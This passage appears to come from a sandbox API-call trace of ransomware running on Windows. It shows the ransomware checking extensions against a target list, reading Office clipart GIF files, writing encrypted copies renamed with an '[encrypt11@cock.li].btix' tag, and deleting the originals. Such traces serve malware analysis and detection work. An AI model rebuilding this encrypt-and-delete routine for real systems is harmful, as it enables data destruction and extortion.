lpString2="GIF") returned -1 [0051.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0051.601] lstrlenW (lpString=".dbf") returned 4 [0051.601] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0051.601] lstrlenW (lpString=".1cd") returned 4 [0051.601] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0051.601] lstrlenW (lpString=".jpg") returned 4 [0051.601] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0051.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0051.601] lstrlenW (lpString=".doc") returned 4 [0051.601] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.601] lstrlenW (lpString=".docx") returned 5 [0051.601] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.601] lstrlenW (lpString=".pdf") returned 4 [0051.601] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.601] lstrlenW (lpString=".xls") returned 4 [0051.601] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.601] lstrlenW (lpString=".xlsx") returned 5 [0051.601] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.602] lstrlenW (lpString=".ppt") returned 4 [0051.602] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0051.602] lstrlenW (lpString=".zip") returned 4 [0051.602] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.602] lstrlenW (lpString=".rar") returned 4 [0051.602] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.602] lstrlenW (lpString=".bz2") returned 4 [0051.602] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.602] lstrlenW (lpString=".7z") returned 3 [0051.602] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0051.602] lstrlenW (lpString=".dbf") returned 4 [0051.602] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0051.602] lstrlenW (lpString=".1cd") returned 4 [0051.602] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0051.602] lstrlenW (lpString=".jpg") returned 4 [0051.602] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.602] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.602] lstrlenW (lpString="AG00164_.GIF") returned 12 [0051.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0051.603] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=13254) returned 1 [0051.603] CloseHandle (hObject=0x350) returned 1 [0051.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220 [0051.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0051.603] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.603] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0051.604] GetLastError () returned 0x0 [0051.604] ReadFile (in: hFile=0x350, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x33c6, lpOverlapped=0x0) returned 1 [0051.625] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x33d0, lpOverlapped=0x0) returned 1 [0051.626] ReadFile (in: hFile=0x350, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0051.626] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0051.626] SetEndOfFile (hFile=0x32c) returned 1 [0051.626] CloseHandle (hObject=0x32c) returned 1 [0051.630] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.630] SetEndOfFile (hFile=0x350) returned 1 [0051.630] CloseHandle (hObject=0x350) returned 1 [0051.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0051.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0051.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0051.631] lstrlenW (lpString=".doc") returned 4 [0051.631] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.631] lstrlenW (lpString=".docx") returned 5 [0051.631] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.631] lstrlenW (lpString=".pdf") returned 4 [0051.631] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.631] lstrlenW (lpString=".xls") returned 4 [0051.631] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.631] lstrlenW (lpString=".xlsx") returned 5 [0051.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.631] lstrlenW (lpString=".ppt") returned 4 [0051.631] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0051.631] lstrlenW (lpString=".zip") returned 4 [0051.631] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.631] lstrlenW (lpString=".rar") returned 4 [0051.632] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.632] lstrlenW (lpString=".bz2") returned 4 [0051.632] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.632] lstrlenW (lpString=".7z") returned 3 [0051.632] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0051.632] lstrlenW (lpString=".dbf") returned 4 [0051.632] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0051.632] lstrlenW (lpString=".1cd") returned 4 [0051.632] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0051.632] lstrlenW (lpString=".jpg") returned 4 [0051.632] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0051.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0051.632] lstrlenW (lpString=".doc") returned 4 [0051.632] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.632] lstrlenW (lpString=".docx") returned 5 [0051.632] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.632] lstrlenW (lpString=".pdf") returned 4 [0051.632] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.633] lstrlenW (lpString=".xls") returned 4 [0051.633] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.633] lstrlenW (lpString=".xlsx") returned 5 [0051.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.633] lstrlenW (lpString=".ppt") returned 4 [0051.633] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0051.633] lstrlenW (lpString=".zip") returned 4 [0051.633] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.633] lstrlenW (lpString=".rar") returned 4 [0051.633] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.633] lstrlenW (lpString=".bz2") returned 4 [0051.633] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.633] lstrlenW (lpString=".7z") returned 3 [0051.633] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0051.633] lstrlenW (lpString=".dbf") returned 4 [0051.633] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0051.633] lstrlenW (lpString=".1cd") returned 4 [0051.633] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0051.633] lstrlenW (lpString=".jpg") returned 4 [0051.633] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.633] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.633] lstrlenW (lpString="AG00165_.GIF") returned 12 [0051.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0051.646] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=8582) returned 1 [0051.646] CloseHandle (hObject=0x350) returned 1 [0051.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220 [0051.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0051.646] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.646] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0051.647] GetLastError () returned 0x0 [0051.647] ReadFile (in: hFile=0x350, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x2186, lpOverlapped=0x0) returned 1 [0051.657] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x2190, lpOverlapped=0x0) returned 1 [0051.659] ReadFile (in: hFile=0x350, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0051.659] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0051.659] SetEndOfFile (hFile=0x32c) returned 1 [0051.659] CloseHandle (hObject=0x32c) returned 1 [0051.660] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.660] SetEndOfFile (hFile=0x350) returned 1 [0051.661] CloseHandle (hObject=0x350) returned 1 [0051.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0051.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0051.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0051.661] lstrlenW (lpString=".doc") returned 4 [0051.661] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.662] lstrlenW (lpString=".docx") returned 5 [0051.662] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.662] lstrlenW (lpString=".pdf") returned 4 [0051.662] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.662] lstrlenW (lpString=".xls") returned 4 [0051.662] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.662] lstrlenW (lpString=".xlsx") returned 5 [0051.662] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.662] lstrlenW (lpString=".ppt") returned 4 [0051.662] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0051.662] lstrlenW (lpString=".zip") returned 4 [0051.662] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.662] lstrlenW (lpString=".rar") returned 4 [0051.662] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.662] lstrlenW (lpString=".bz2") returned 4 [0051.662] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.662] lstrlenW (lpString=".7z") returned 3 [0051.662] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0051.662] lstrlenW (lpString=".dbf") returned 4 [0051.662] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0051.662] lstrlenW (lpString=".1cd") returned 4 [0051.662] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0051.662] lstrlenW (lpString=".jpg") returned 4 [0051.662] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0051.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0051.662] lstrlenW (lpString=".doc") returned 4 [0051.662] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.662] lstrlenW (lpString=".docx") returned 5 [0051.663] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.663] lstrlenW (lpString=".pdf") returned 4 [0051.663] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.663] lstrlenW (lpString=".xls") returned 4 [0051.663] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.663] lstrlenW (lpString=".xlsx") returned 5 [0051.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.663] lstrlenW (lpString=".ppt") returned 4 [0051.663] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0051.663] lstrlenW (lpString=".zip") returned 4 [0051.663] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.663] lstrlenW (lpString=".rar") returned 4 [0051.663] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.663] lstrlenW (lpString=".bz2") returned 4 [0051.663] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.663] lstrlenW (lpString=".7z") returned 3 [0051.663] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0051.663] lstrlenW (lpString=".dbf") returned 4 [0051.663] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0051.663] lstrlenW (lpString=".1cd") returned 4 [0051.663] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0051.663] lstrlenW (lpString=".jpg") returned 4 [0051.663] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.663] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.663] lstrlenW (lpString="AG00167_.GIF") returned 12 [0051.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0051.664] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=4894) returned 1 [0051.664] CloseHandle (hObject=0x350) returned 1 [0051.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220 [0051.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0051.664] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.664] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0051.664] GetLastError () returned 0x0 [0051.664] ReadFile (in: hFile=0x350, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x131e, lpOverlapped=0x0) returned 1 [0051.687] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x1320, lpOverlapped=0x0) returned 1 [0051.688] ReadFile (in: hFile=0x350, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0051.688] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0051.688] SetEndOfFile (hFile=0x32c) returned 1 [0051.697] CloseHandle (hObject=0x32c) returned 1 [0051.700] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.700] SetEndOfFile (hFile=0x350) returned 1 [0051.708] CloseHandle (hObject=0x350) returned 1 [0051.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0051.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0051.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0051.712] lstrlenW (lpString=".doc") returned 4 [0051.712] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.712] lstrlenW (lpString=".docx") returned 5 [0051.712] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.712] lstrlenW (lpString=".pdf") returned 4 [0051.712] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.712] lstrlenW (lpString=".xls") returned 4 [0051.712] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.712] lstrlenW (lpString=".xlsx") returned 5 [0051.712] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.712] lstrlenW (lpString=".ppt") returned 4 [0051.712] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0051.712] lstrlenW (lpString=".zip") returned 4 [0051.712] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.713] lstrlenW (lpString=".rar") returned 4 [0051.713] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.713] lstrlenW (lpString=".bz2") returned 4 [0051.713] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.713] lstrlenW (lpString=".7z") returned 3 [0051.713] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0051.713] lstrlenW (lpString=".dbf") returned 4 [0051.713] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0051.713] lstrlenW (lpString=".1cd") returned 4 [0051.713] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 